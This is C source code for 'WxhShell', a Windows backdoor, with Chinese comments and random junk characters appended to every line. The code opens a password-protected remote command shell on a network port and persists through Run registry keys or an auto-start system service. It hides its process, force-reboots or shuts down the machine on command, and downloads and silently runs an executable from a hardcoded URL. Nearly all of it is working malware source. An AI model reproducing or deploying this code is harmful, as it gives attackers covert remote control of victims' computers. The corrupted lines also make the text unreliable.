    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SFd_k9  
    else { Qd kus 214  
    closesocket(wsh); $zp|()_  
    ExitThread(0); 05T?c{ ;  
    } oJr+RO  
    break; XLCqB|8`V  
    } B I)@n:p  
  // 获取shell *c[w9(fU  
  case 's': { 7Tdx*1 U  
    CmdShell(wsh); =<3HOOC  
    closesocket(wsh); #f24a?n|  
    ExitThread(0); Q|h$D~  
    break; '~K]=JP  
  } \f? K74  
  // 退出 eG!ma`v  
  case 'x': { ]zaTX?F:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8+}rm6Y+  
    CloseIt(wsh); ||QK)$"  
    break; .Iqqjk  
    } ;9mRumLG"  
  // 离开 p03I&d@w>  
  case 'q': { [;Lgbgt3f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $&Vba@v  
    closesocket(wsh); (9I(e^@]  
    WSACleanup(); +5*bU1}O  
    exit(1); (~N?kh:  
    break; LxhS 9  
        } SR?mSpq5  
  } tt?`,G.(]  
  } zhs @ YMY  
X/2GTU7?  
  // 提示信息 /Tm+&Jd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f;BY%$  
} !'^l}K>  
  } TU^ZvAO&  
,zM@)Q ;9  
  return; (JlPe)Q5  
} w=;>  
S._2..%G  
// shell模块句柄 l$\2|D  
int CmdShell(SOCKET sock) GWuKDq  
{ -`XS2  
STARTUPINFO si; y4h =e~  
ZeroMemory(&si,sizeof(si)); +S0aA Wal  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F*@2)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Eej Lso#\  
PROCESS_INFORMATION ProcessInfo; %_5#2a  
char cmdline[]="cmd"; |Qcz5M90e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NJsaTBT  
  return 0; f^1J_}cL  
} Anyy  
aUEr& $  
// 自身启动模式 GD.Ss9_h1  
int StartFromService(void) "NA<^2W@J  
{ %Hd[,duwO  
typedef struct <A Hzs  
{ 2kVZlt'y  
  DWORD ExitStatus; 9zqo!&  
  DWORD PebBaseAddress; r'{N_|:vv  
  DWORD AffinityMask; B_ict)}ld  
  DWORD BasePriority; p%mHxYP  
  ULONG UniqueProcessId; l%_K$$C  
  ULONG InheritedFromUniqueProcessId; bKsjbYuo  
}   PROCESS_BASIC_INFORMATION; E5rV}>(Y  
QyVAs;  
PROCNTQSIP NtQueryInformationProcess; >"!ScYn  
1!.-/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R`<2DC>h9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8k-]u3  
H5Eso*v@  
  HANDLE             hProcess; <(>t"<  
  PROCESS_BASIC_INFORMATION pbi; 46NuT]6/4  
7!cLTq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SZe55mK`  
  if(NULL == hInst ) return 0; *h0D,O"0  
k/{WlLN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]P wS3:x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xgcJEox!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -)(=~|,Pq/  
,o n]Fts  
  if (!NtQueryInformationProcess) return 0; BM?!?  
`$JvWN,kB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 34!.5^T  
  if(!hProcess) return 0; ZT!8h$SE:  
"dIWHfQB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jfr'OD2$ %  
bT 42G [x  
  CloseHandle(hProcess); %]I#]jR  
lfDd%.:q4S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nE8z1hBUq  
if(hProcess==NULL) return 0; Z(|$[GZP[  
G(wK(P0j  
HMODULE hMod; ben-<3r  
char procName[255]; ;iX~3[]  
unsigned long cbNeeded; Rs"=o>Qu  
hOk9y=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xwZ1Q,'C  
!Q|a R  
  CloseHandle(hProcess); V WZpEi  
`{{6vb^g  
if(strstr(procName,"services")) return 1; // 以服务启动 b>p_w%d[[J  
kl:/PM^  
  return 0; // 注册表启动 N}U+K  
} 3>VL>;75[  
:1qLRr  
// 主模块 :'wxm3f  
int StartWxhshell(LPSTR lpCmdLine) nD/B :0'  
{ K Ha,6X  
  SOCKET wsl; Sc{&h8KMTb  
BOOL val=TRUE; rT4Q^t"  
  int port=0; </_QldL_  
  struct sockaddr_in door; gBV4IQ  
H.l0kBeG  
  if(wscfg.ws_autoins) Install(); d)uuA;n  
f3! Oc  
port=atoi(lpCmdLine); bgE]Wk0  
[VXQ&  
if(port<=0) port=wscfg.ws_port; F>{bVPh VA  
}bw^p.ci  
  WSADATA data; %52e^,//  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UeCi{ W  
KB~[nZs7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yWZ_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7#"NKxb  
  door.sin_family = AF_INET; Y S7lB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U3Gg:onuE  
  door.sin_port = htons(port); hd'QMr[;  
{91Y;p C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fsOlg9  
closesocket(wsl); *<cRQfA1  
return 1; X_X7fRC0  
} oO[eer_S-  
8 t=H  
  if(listen(wsl,2) == INVALID_SOCKET) { 66>X$nx(z  
closesocket(wsl); 2*`kkS  
return 1; g~21|Sa$[  
} ?pJ2"/K   
  Wxhshell(wsl); 2d|^$$#`  
  WSACleanup(); :1f,%Z$,q  
2|ee`"`  
return 0; ^-?^iWQ G  
Iw[zN[oz  
} Oq<3&*  
_gK}Gi?|  
// 以NT服务方式启动 k2->Z);X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *fi`DiO  
{ ?@x$ h  
DWORD   status = 0; rJf{YUZe  
  DWORD   specificError = 0xfffffff; >j]Gz-wC  
;/Y#ph[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S`[(y?OF?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]+pE1-p\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?8grK  
  serviceStatus.dwWin32ExitCode     = 0; ;LC|1_ '  
  serviceStatus.dwServiceSpecificExitCode = 0; p\~ a=  
  serviceStatus.dwCheckPoint       = 0; =1>G * ,  
  serviceStatus.dwWaitHint       = 0; arKf9`9  
.3+ 8Ip#z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9BOn8p;yz  
  if (hServiceStatusHandle==0) return; 5![ILa_  
se3EI1e  
status = GetLastError(); O '#FVZ.g  
  if (status!=NO_ERROR) ZiKO|U@/  
{ &9v8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L1` ^M  
    serviceStatus.dwCheckPoint       = 0; Qj /H$  
    serviceStatus.dwWaitHint       = 0; 8M3DG=D  
    serviceStatus.dwWin32ExitCode     = status; #l) o<Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; {1UU `d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }n^}%GB  
    return; :O,,fJ<x.O  
  } yhK9rcJq6}  
=dKk #*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CO ZfR~}  
  serviceStatus.dwCheckPoint       = 0; -{?xl*D  
  serviceStatus.dwWaitHint       = 0; es69P)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OI/]Y7D[Oq  
} WzdlrkD  
9-A@2&J1  
// 处理NT服务事件,比如:启动、停止 b<r*EY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C_[ d  
{ 01aw+o  
switch(fdwControl) S:2 xm8 i  
{ qncZpXw^  
case SERVICE_CONTROL_STOP: DB jUHirK  
  serviceStatus.dwWin32ExitCode = 0; <T'fJcR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 02^\np  
  serviceStatus.dwCheckPoint   = 0; Pa; *%7  
  serviceStatus.dwWaitHint     = 0; Sxy3cv53  
  { 3!?QQT,!)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^^xzaF  
  } 6QPbmO]z  
  return; EO",|V-  
case SERVICE_CONTROL_PAUSE: 'r^'wv]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4^6Oh#p0  
  break; u0uz~ s  
case SERVICE_CONTROL_CONTINUE: D* HK[_5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -%VFC^'5  
  break; {qry2ZT5  
case SERVICE_CONTROL_INTERROGATE: FFN.9[Ly  
  break; lvk*Db$  
}; m1p% ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <PO-S\N  
} b]8\% =d  
`AdHyE  
// 标准应用程序主函数 w6B`_Z'f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @:9mTP7  
{ +@rc(eOwvN  
giN(wPgYP  
// 获取操作系统版本 `Uk jr MO  
OsIsNt=GetOsVer(); (ubK i[)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r^\Wo7q  
1@<>GDB9  
  // 从命令行安装 Y}x_ud,  
  if(strpbrk(lpCmdLine,"iI")) Install(); } 4>#s$.2  
k"FY &;G(G  
  // 下载执行文件 j!"NEh78H  
if(wscfg.ws_downexe) { 1T3YFt@&I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %cMayCaI!@  
  WinExec(wscfg.ws_filenam,SW_HIDE); wK%x|%R[  
} C4C!-12  
KEr?&e  
if(!OsIsNt) { Od]wh  
// 如果时win9x,隐藏进程并且设置为注册表启动 stCFLYox  
HideProc(); D <Fl7QAb  
StartWxhshell(lpCmdLine); _lk5\bu  
} O{G $]FtF  
else "w{,ndZ  
  if(StartFromService()) >LB x\/  
  // 以服务方式启动 R2[ }  
  StartServiceCtrlDispatcher(DispatchTable); ![_GA)7  
else (pQ$<c  
  // 普通方式启动 rg+3pX\{  
  StartWxhshell(lpCmdLine); &sPu 3.p  
IRDD   
return 0; f]^ @z<FC  
} V P4ToYc  
S4X['0rX!  
CQ%yki  
:20k6)  
=========================================== #9hSo  
V=H}Ecd  
`?Xt ,  
:!gzx n  
N6-bUM6%I  
$L$GI~w/  
" 8 K>Ejr  
kPZ1OSX  
#include <stdio.h> W.U|mNJ$  
#include <string.h> ]z/  
#include <windows.h> ;]h:63 S  
#include <winsock2.h> S1n 'r}z8  
#include <winsvc.h> =R\-mov$  
#include <urlmon.h> ('px X+  
\\~4$Ai[  
#pragma comment (lib, "Ws2_32.lib") F1o"H/:n  
#pragma comment (lib, "urlmon.lib") c )o[3o7  
Pi|oO-M  
#define MAX_USER   100 // 最大客户端连接数 V 5ihplAk  
#define BUF_SOCK   200 // sock buffer -x1O|q69  
#define KEY_BUFF   255 // 输入 buffer k-vxKrjZ/  
V_7xXuM/  
#define REBOOT     0   // 重启 cM'5m  
#define SHUTDOWN   1   // 关机 *Cgd?*\7  
pBu~($%d  
#define DEF_PORT   5000 // 监听端口 KBFAV&  
=1vVI Twl  
#define REG_LEN     16   // 注册表键长度 9wFQ<r  
#define SVC_LEN     80   // NT服务名长度 L:F:ZOM6`  
p^``hP:J  
// 从dll定义API wbId}!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YB}_zuZ4&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N6<23kYM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [%8+Fa~Wa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5OUe |mS  
[0e]zyB+  
// wxhshell配置信息 BPd]L=,/  
struct WSCFG { br'/>Un"  
  int ws_port;         // 监听端口 <cz~q=%v2&  
  char ws_passstr[REG_LEN]; // 口令 thDE 1h  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~1h-LbFI2  
  char ws_regname[REG_LEN]; // 注册表键名 ?Xo9,4V1  
  char ws_svcname[REG_LEN]; // 服务名 *lG$B@;rc|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k\}qCDs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QrPWS-3~!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n{Mj<\kL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /bylA`IMW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EH$wW l^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BWX&5""  
es(vWf'  
}; Urx gKTry  
I>-jKSkwc  
// default Wxhshell configuration O'-lBf+<  
struct WSCFG wscfg={DEF_PORT, 1.H"$D>TC  
    "xuhuanlingzhe", pp[? k}@  
    1, r/O(EW#=8  
    "Wxhshell", Qzh:*O  
    "Wxhshell", a}c(#ZLs  
            "WxhShell Service", t@v>eb  
    "Wrsky Windows CmdShell Service", 3G8uXB_`}  
    "Please Input Your Password: ", t7A.b~#  
  1, +TAm9eDNV  
  "http://www.wrsky.com/wxhshell.exe", 28BiuxVW  
  "Wxhshell.exe" |ns^' q  
    }; ?\#4`9  
`?6m0|\@  
// 消息定义模块 >uJrq""+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ypd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {@ , L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jv|IV  
char *msg_ws_ext="\n\rExit."; JrL/LGY  
char *msg_ws_end="\n\rQuit."; H_8@J  
char *msg_ws_boot="\n\rReboot..."; PUYo >eB)0  
char *msg_ws_poff="\n\rShutdown..."; ) L{Tn 8  
char *msg_ws_down="\n\rSave to "; kh,M'XbTo  
VBCj.dw  
char *msg_ws_err="\n\rErr!"; oC[wYUDg  
char *msg_ws_ok="\n\rOK!"; In;z\"NN4  
v}Aw!Dv/  
char ExeFile[MAX_PATH]; 'b^:"\t'Rh  
int nUser = 0; Vd1K{rH#  
HANDLE handles[MAX_USER]; D@JHi'F  
int OsIsNt; "+ Qh,fTt  
 +NXj/  
SERVICE_STATUS       serviceStatus; 7R2)Klt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s{: Mu~v  
<m6I)}K  
// 函数声明 \qTNWA #'  
int Install(void); ytC{E_  
int Uninstall(void); `Ys })Pl  
int DownloadFile(char *sURL, SOCKET wsh); m5x>._7le  
int Boot(int flag); 2E1TJ.[BS  
void HideProc(void); Y3zO7*-@  
int GetOsVer(void); G[^G~U\+!  
int Wxhshell(SOCKET wsl); {Jy%h8n*  
void TalkWithClient(void *cs); bn(Scl#@K  
int CmdShell(SOCKET sock); CM#EA"9  
int StartFromService(void); %5KR}NXX6  
int StartWxhshell(LPSTR lpCmdLine); 7lj-Z~1  
dDuA%V0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .>nd@oU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s+w<!`-  
=Ffq =<  
// 数据结构和表定义 k2WO*xa*  
SERVICE_TABLE_ENTRY DispatchTable[] = i;xMf5Jz  
{ % b&BLXW  
{wscfg.ws_svcname, NTServiceMain}, SWGa%6|  
{NULL, NULL} ,6bMf z  
}; ;' W5|.ZN  
g|HrhUT;  
// 自我安装 .#eXNyCe  
int Install(void) 0X-2).n u  
{ 8{l=`y"nB  
  char svExeFile[MAX_PATH]; yy74>K  
  HKEY key; 4Qo1f5 >N  
  strcpy(svExeFile,ExeFile); M0e|G.S&_  
N9PM.nbd%  
// 如果是win9x系统,修改注册表设为自启动 &aQ)x   
if(!OsIsNt) { <`*P/V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y~=hM   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -]A#G`'  
  RegCloseKey(key); |K-lg rA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6V?RES;X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 tpZE+OX  
  RegCloseKey(key); D` X6'PP  
  return 0; `4q}D-'TF8  
    } PPO<{  
  } 15:@pq\  
} nQHd\/B  
else { XXcf!~uO  
n1>nnH]G  
// 如果是NT以上系统,安装为系统服务 |Z^g\l.j{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z{0;%E  
if (schSCManager!=0) rM=A"  
{ ^z;,deoGh  
  SC_HANDLE schService = CreateService ;T+U&U0d|  
  ( 2vN(z %p  
  schSCManager, %Nl(Y@dD*  
  wscfg.ws_svcname, JW [\"`x!  
  wscfg.ws_svcdisp, gVJ#LJ  
  SERVICE_ALL_ACCESS, walRqlo@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :*'?Ac ?  
  SERVICE_AUTO_START, ZC*d^n]x.  
  SERVICE_ERROR_NORMAL, \X.=3lc&  
  svExeFile, &:#8ol(n5b  
  NULL, |I5?5 J\  
  NULL, gA1in  
  NULL, 97wy;'J[u  
  NULL, SvP\JQ<c  
  NULL U hhmG+  
  ); z8 ;#H tr  
  if (schService!=0) Z:J.FI@  
  { ?mR[A`J58  
  CloseServiceHandle(schService); cu`J2vm3  
  CloseServiceHandle(schSCManager); %N>NOk)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )$h9Y   
  strcat(svExeFile,wscfg.ws_svcname); _xg VuJ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X7d.Ie  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Yu\YjLPG  
  RegCloseKey(key); K[ gWXBP  
  return 0; U.7y8#qf3R  
    } 51 +M_ ~  
  } 9r+O!kF(  
  CloseServiceHandle(schSCManager); LsQ8sFP_"  
} <N=p:e,aN,  
} H..ZvGu  
Qb't*2c%  
return 1; 3!9 yuf  
} <uKm%~xi<  
5Vo}G %g  
// 自我卸载 B%J%TR_  
int Uninstall(void) k\#-6evT  
{ 9N D+w6"  
  HKEY key; `$sY^EX  
+'qX sfc  
if(!OsIsNt) { <j 9Mt=8M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n?LIphc\  
  RegDeleteValue(key,wscfg.ws_regname);  AMD?LjY~  
  RegCloseKey(key); !ObE{2Enf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2vkB<[tSs  
  RegDeleteValue(key,wscfg.ws_regname);  4SffP/  
  RegCloseKey(key); &u1g7# #  
  return 0; K>cz63}S  
  } 4iv]N 4  
} Hg9.<|+yo  
} Sn0gTsZ  
else { ljJz#+H2_  
G4`Ut1g ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lg onR  
if (schSCManager!=0) 7 ZL#f![{  
{ mheU#&|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &6t3SZV  
  if (schService!=0) .i+* #djx  
  { j|&DP-@g/  
  if(DeleteService(schService)!=0) { PNJe&q0*  
  CloseServiceHandle(schService); m@Ip^]9ry  
  CloseServiceHandle(schSCManager); t{X?PF\>o  
  return 0; P*SCHe'  
  } /:y2Up-  
  CloseServiceHandle(schService); l7'{OB L  
  } #A3v]'7B  
  CloseServiceHandle(schSCManager); 3u4*ofjE5  
} 98A(jsj  
} Xn/ n|[  
{x[;5TM  
return 1; 7V} ]C>G  
} Vm~qk  
If-,c^i  
// 从指定url下载文件 wHt J_Y  
int DownloadFile(char *sURL, SOCKET wsh) v\ %B  
{ /^'Bgnez  
  HRESULT hr; RVkU+7  
char seps[]= "/"; ?Q96,T-) c  
char *token;  dd<:#c9  
char *file; BIV<ti$.  
char myURL[MAX_PATH]; i,#k}CNu  
char myFILE[MAX_PATH]; "!%wh6`>Md  
M@~~f   
strcpy(myURL,sURL); '%SR.JL  
  token=strtok(myURL,seps); +}^|dkc  
  while(token!=NULL) /mn-+u`K  
  { <)O >MI' 4  
    file=token; V uG?B{  
  token=strtok(NULL,seps); s.yq}Q  
  } i<T P:  
sno`=+|U]  
GetCurrentDirectory(MAX_PATH,myFILE); c~}={4M]  
strcat(myFILE, "\\"); OXHvT/L`  
strcat(myFILE, file); Vi|7%!j<  
  send(wsh,myFILE,strlen(myFILE),0); TN35CaSmq  
send(wsh,"...",3,0); c,y|c`T 2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p$Kj<:qiP  
  if(hr==S_OK) "l@A[@R  
return 0; <S1??  
else {p`mfEE (  
return 1; 1 -ZJT  
B%tIwUE2  
} x\hWyY6J[  
5@P%iBA4(3  
// 系统电源模块 VF)uu[ f9  
int Boot(int flag) )K~w'TUr  
{ hv* >%p  
  HANDLE hToken; 'LVn^TB_f&  
  TOKEN_PRIVILEGES tkp; 01udlW.  
X8/Tl \c  
  if(OsIsNt) { R?cUy8?'S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P|e`^Frxt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yN*:.al  
    tkp.PrivilegeCount = 1; .K IVf8)"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RMoJz6 ^>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lT.zNhz:d9  
if(flag==REBOOT) { i+f7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *5'.!g('  
  return 0; NYBe"/}GS  
} h#i\iK&A  
else { 3{"byfO#%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '>@4(=I  
  return 0; /aZE,IeEz  
} CSL#s^4T  
  } >1 @Ltvm  
  else { ;DuXS y!g  
if(flag==REBOOT) { y&"!m }  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7+}JgUh  
  return 0; #~^btL'dHF  
} j{"z4Y4  
else { "O*x' XhN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8pXKO"u],  
  return 0; z{:-!oF&CB  
} Yd:Q`#7A  
} >3 l=*|9  
$r\"6e  
return 1; |uI?ySF  
} k=[pm5ZvT~  
)RN<GW'  
// win9x进程隐藏模块 ;+ azeW ^  
void HideProc(void) ju|]Qlek  
{ /.R<,/gj  
BOvF)4`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o}8I_o&]U  
  if ( hKernel != NULL ) 3JO]f5  
  { h >-'-Hx+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ACg;CTB b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h}Rx_d  
    FreeLibrary(hKernel); VO=!8Yx[  
  } mdW~~-@H  
Q&CElx?L  
return; g # S0V  
} mT @ nn,  
 fRB5U'  
// 获取操作系统版本 :^i^0dC  
int GetOsVer(void) /7D<'MF  
{ 9CJ(Z+;OM  
  OSVERSIONINFO winfo; " .4,."  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ${I*nh>=  
  GetVersionEx(&winfo); c6&Q^p|CF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =Mj 0:rW  
  return 1; 7I9aG.;  
  else IXpc,l `  
  return 0; ;f1qLI  
} xwi\  
X(@uwX$m  
// 客户端句柄模块 7b[wu~'( n  
int Wxhshell(SOCKET wsl) 8`=v.   
{ V`kMCE;?l  
  SOCKET wsh; ",yc0 2<  
  struct sockaddr_in client; *bd[S0l  
  DWORD myID; X6\ sF"E  
oDn|2Sdqd  
  while(nUser<MAX_USER) H1/?+N}(  
{ ;Hmp f0$  
  int nSize=sizeof(client); T/pqSmVpM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S<`I Jpkv  
  if(wsh==INVALID_SOCKET) return 1; .uF[C{RnO  
:o46rBs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "4o=,$E=  
if(handles[nUser]==0) */^QH@P  
  closesocket(wsh); P 43P]M2  
else K2{aNv R)t  
  nUser++; A\fb<  
  } FAsFjRS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~PnTaAPJ  
3]RyTQ  
  return 0; as*4UT3  
} r [:   
H+E$:)gN  
// 关闭 socket +M' H0-[  
void CloseIt(SOCKET wsh) /!h;c$  
{ 7x);x/#8Z  
closesocket(wsh); R;,g1m|]  
nUser--; 'k;rH !R  
ExitThread(0); |a1{ve[  
} H0m|1 7  
?;[w" `"  
// 客户端请求句柄 Gmwf4>"  
void TalkWithClient(void *cs) v ~QHMg  
{ ~t9tnLc$  
*na?n2Yzt  
  SOCKET wsh=(SOCKET)cs; !?c|XdjZ  
  char pwd[SVC_LEN]; OC-gA}FZ-}  
  char cmd[KEY_BUFF]; kuyjnSo9i  
char chr[1]; =[b)1FUp  
int i,j; nRyU]=-X  
VD_$$Gn*q  
  while (nUser < MAX_USER) { |$?bc3  
O T.*pk+<)  
if(wscfg.ws_passstr) { 93Co}@Y;Y+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AGLscf.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '!/<P"5t  
  //ZeroMemory(pwd,KEY_BUFF); ;4Y%PV z~D  
      i=0; *98$dQR$  
  while(i<SVC_LEN) { O,Cb"{qH8  
ZK>WW  
  // 设置超时 >=[(^l  
  fd_set FdRead; v`M3eh@$A  
  struct timeval TimeOut; ,^uEYT}j  
  FD_ZERO(&FdRead); z^T`x_mF  
  FD_SET(wsh,&FdRead); o!)3?  
  TimeOut.tv_sec=8; +HBd %1  
  TimeOut.tv_usec=0; <J^MCqp!v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C.FI~Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HDF |{  
hEp(A8g)bQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'FDef#P<  
  pwd=chr[0]; +0OLc2 )w  
  if(chr[0]==0xd || chr[0]==0xa) { ouuuc9x]  
  pwd=0; R6]Gk)5  
  break; H '  
  } 8uWa=C)  
  i++; `\}v#2VJ  
    } <ZNzVnVA  
}hhGu\  
  // 如果是非法用户,关闭 socket >Wv;R2|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PpAu!2lt9  
} !wNr3LG  
~vyf4TF<#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FY#C.mL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (jAg_$6  
MB]<Dyj,  
while(1) { :51/29}  
R}!:'^  
  ZeroMemory(cmd,KEY_BUFF); `~By)?cT_>  
f=WDR m]  
      // 自动支持客户端 telnet标准   C$XU%5qi  
  j=0; ppVHLrUh  
  while(j<KEY_BUFF) { 1pgU}sRk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  &7K?w~  
  cmd[j]=chr[0]; 5Ou`z5S\k  
  if(chr[0]==0xa || chr[0]==0xd) { *^VRGfpb  
  cmd[j]=0; +l<5#pazx  
  break; |xdsl,  
  } X:nN0p #  
  j++; ]QlwR'&j/n  
    } <^5Z:n!q  
Y,^@P  
  // 下载文件 x"~8*V'0  
  if(strstr(cmd,"http://")) { 5>D>% iaHv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2{H@(Vgpbr  
  if(DownloadFile(cmd,wsh)) 1SCR.@ k<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >I-RGW'A  
  else 0dE@c./R i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .$+#1-  
  } w"-Lc4t+  
  else { ,9zjFI  
A>o *t=5  
    switch(cmd[0]) { M_/7D|xl/T  
  Y 5- F@(  
